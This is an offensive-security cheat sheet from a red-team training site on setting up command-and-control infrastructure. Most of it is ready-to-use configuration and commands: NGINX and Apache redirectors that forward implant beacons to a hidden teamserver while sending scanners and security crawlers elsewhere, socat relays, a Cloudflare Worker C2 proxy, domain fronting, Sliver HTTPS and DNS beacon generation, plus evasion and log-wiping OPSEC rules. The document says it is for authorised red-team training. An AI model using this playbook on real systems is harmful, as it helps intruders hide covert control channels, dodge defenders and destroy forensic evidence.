



◆ OFFENSIVE SECURITY SERIES ◆

C2 INFRASTRUCTURE & OPSEC

Redirectors, Domain Fronting, CDN & OPSEC

Redirectors · Domain Fronting · CDN · Malleable C2 · DNS C2 · OPSEC

NGINX Redirector

Apache Rewrite

socat Relay

Domain Fronting

CF Workers

Malleable C2

DNS C2

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

C2 INFRASTRUCTURE & OPSEC — Redirectors, Domain Fronting, CDN & OPSEC

01.	C2 ARCHITECTURE — TIERED INFRASTRUCTURE DESIGN
02.	LETSENCRYPT CERTS & NGINX REDIRECTORS
03.	APACHE MOD_REWRITE & SOCAT REDIRECTORS
04.	DOMAIN FRONTING, CDN WORKERS & DNS C2
05.	C2 INFRASTRUCTURE CHEAT SHEET



01 — C2 ARCHITECTURE

Tiered Design & Requirements

Tier	Component	Purpose	Exposed?
Tier 1	Implant	Executes on compromised host	YES — most exposed
Tier 2	Redirector	Filters + relays implant traffic	YES — in implant config
Tier 3	Teamserver	C2 framework — never direct contact	NO — hidden
Tier 4	Operator	Controls teamserver off-network	NO

IDEAL C2 INFRASTRUCTURE CHECKLIST

Domain: Aged >1yr, categorised (Technology/Business), clean VirusTotal/Talos

Certificate: LetsEncrypt — valid HTTPS, no browser warnings

Redirector: NGINX/Apache on VPS — forwards only C2 URIs, redirects everything else

CDN option: Cloudflare proxy — hides real server IP, provides valid cert

Teamserver: Private IP/different ASN — NEVER directly in implant config

DNS C2: Backup channel — pure DNS queries bypass most egress filters



02 — CERTS & NGINX

LetsEncrypt + NGINX Filter

```
LetsEncrypt Certs & NGINX Redirector

# LetsEncrypt cert
sudo certbot certonly --standalone -d cdn.yourdomain.com
# Auto-renew
echo '0 0 1 * * certbot renew --quiet' | sudo crontab -
# NGINX redirector - filter + relay
# /etc/nginx/sites-enabled/c2.conf:
server {
    listen 443 ssl;
    server_name cdn.yourdomain.com;
    ssl_certificate /etc/letsencrypt/live/cdn.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/cdn.yourdomain.com/privkey.pem;
    # Forward C2 URIs to teamserver
    location ~ ^/(jquery-3\.3\.1\.js|api/v1/update)$ {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_set_header Host cdn.yourdomain.com;
        proxy_ssl_verify off; }
    # Everything else -> innocent site
    location / { return 302 https://jquery.com; }
}
sudo nginx -t && sudo systemctl restart nginx
```

Figure: NGINX forwards /jquery-3.3.1.js to teamserver, all other requests go to jquery.com



03 — APACHE & SOCAT

mod_rewrite & TCP Relay

```
Apache mod_rewrite & socat Redirectors

# Apache mod_rewrite redirector
RewriteEngine On
# Block known scanner user agents
RewriteCond %{HTTP_USER_AGENT} (curl|wget|python|masscan|nmap) [NC]
RewriteRule .* https://jquery.com [R=302,L]
# Only forward valid beacons (matching URI + secret header)
RewriteCond %{REQUEST_URI} ^/(assets/js/jquery\.min\.js|cdn/bootstrap\.js)$
RewriteCond %{HTTP:X-Custom-Header} ^SecretValue$
RewriteRule ^(.*)$ https://TEAMSERVER_IP:443%{REQUEST_URI} [P,L]
# Block scanners by ASN
RewriteCond %{HTTP:X-Forwarded-For} ^(.shodan.*|.censys.*)$
RewriteRule .* https://honeypot.example.com [R=301,L]
# socat simple relay
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:TEAMSERVER_IP:443 &
# systemd service for socat
# ExecStart=/usr/bin/socat TCP4-LISTEN:443,fork TCP4:TEAMSERVER_IP:443
```

Figure: Apache filters scanner UAs, secret header required — socat as lightweight backup relay



04 — DOMAIN FRONTING & DNS

CDN Workers & DNS C2

```

Domain Fronting, CDN Workers & DNS C2

# Domain fronting - TLS SNI ≠ HTTP Host
# TLS SNI: legitimate.cloudflare.net ← network sees this
# HTTP Host: attacker.cloudflare.net ← actual destination (hidden in TLS)
# Cloudflare Workers as C2 relay
addEventListener('fetch', event => {
  const url = new URL(event.request.url);
  url.hostname = 'TEAMSERVER_IP';
  event.respondWith(fetch(new Request(url, event.request)));
});
# Malleable C2 traffic shaping (Sliver profile)
# Generate implant pointing to Cloudflare worker URL
sliver > generate beacon --https cdn.yourdomain.com:443 --os windows --arch amd64 --seconds 60 --jitter 15
# DNS C2 (backup channel - firewall bypass)
sliver > dns --domains c2.yourdomain.com
sliver > generate beacon --dns c2.yourdomain.com --os windows
# OPSEC checklist
# Use --jitter on all beacons
# Migrate to legit process immediately on callback
# Never expose teamserver IP directly in implant
# Use execute-assembly/BOF - no child processes
# Valid LetsEncrypt cert on redirector

```

Figure: Cloudflare Workers relay C2 traffic, DNS C2 bypasses egress HTTP filters



05 — C2 INFRA CHEAT SHEET

Quick Reference

Domain vetting	Check: expireddomains.net (age >1yr), VirusTotal, Talos, BlueCoat category
LetsEncrypt cert	sudo certbot certonly --standalone -d cdn.yourdomain.com
Wildcard cert	sudo certbot certonly --manual --preferred-challenges dns -d '*.yourdomain.com'
Auto-renew	echo '0 0 1 * * certbot renew --quiet' sudo crontab -
NGINX install	sudo apt install nginx && sudo systemctl enable nginx
NGINX C2 forward	location ~ ^/C2_URI { proxy_pass https://TEAMSERVER:443; proxy_ssl_verify off; }
NGINX default	location / { return 302 https://jquery.com; }
Apache scanner block	RewriteCond %{HTTP_USER_AGENT} (curl wget masscan nmap) [NC] → redirect away
Apache secret header	RewriteCond %{HTTP:X-Custom-Header} ^SECRET\$ → proxy_pass to teamserver
socat relay	socat TCP4-LISTEN:443,fork,reuseaddr TCP4:TEAMSERVER_IP:443 &
socat service	systemd unit with ExecStart=socat TCP4-LISTEN:443,fork TCP4:TEAMSERVER:443
Domain fronting	TLS SNI = legit CDN domain, HTTP Host = attacker CDN domain
CF Worker relay	fetch() proxy in Worker script: url.hostname = 'TEAMSERVER_IP'
Sliver HTTPS listener	sliver > https --cert /etc/letsencrypt/.../fullchain.pem --key privkey.pem --domain cdn.domain.com
Sliver implant via CDN	sliver > generate beacon --https cdn.yourdomain.com:443 --seconds 60 --jitter 15
DNS C2 listener	sliver > dns --domains c2.yourdomain.com
DNS C2 implant	sliver > generate beacon --dns c2.yourdomain.com --os windows
Havoc HTTPS listener	GUI → Listeners → HTTPS → cert/key paths → domain
Teardown	Kill beacons → delete implants → wipe teamserver logs → destroy VPS
OPSEC rules	jitter+sleep, migrate to legit process, no direct teamserver IP in implant, valid cert



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.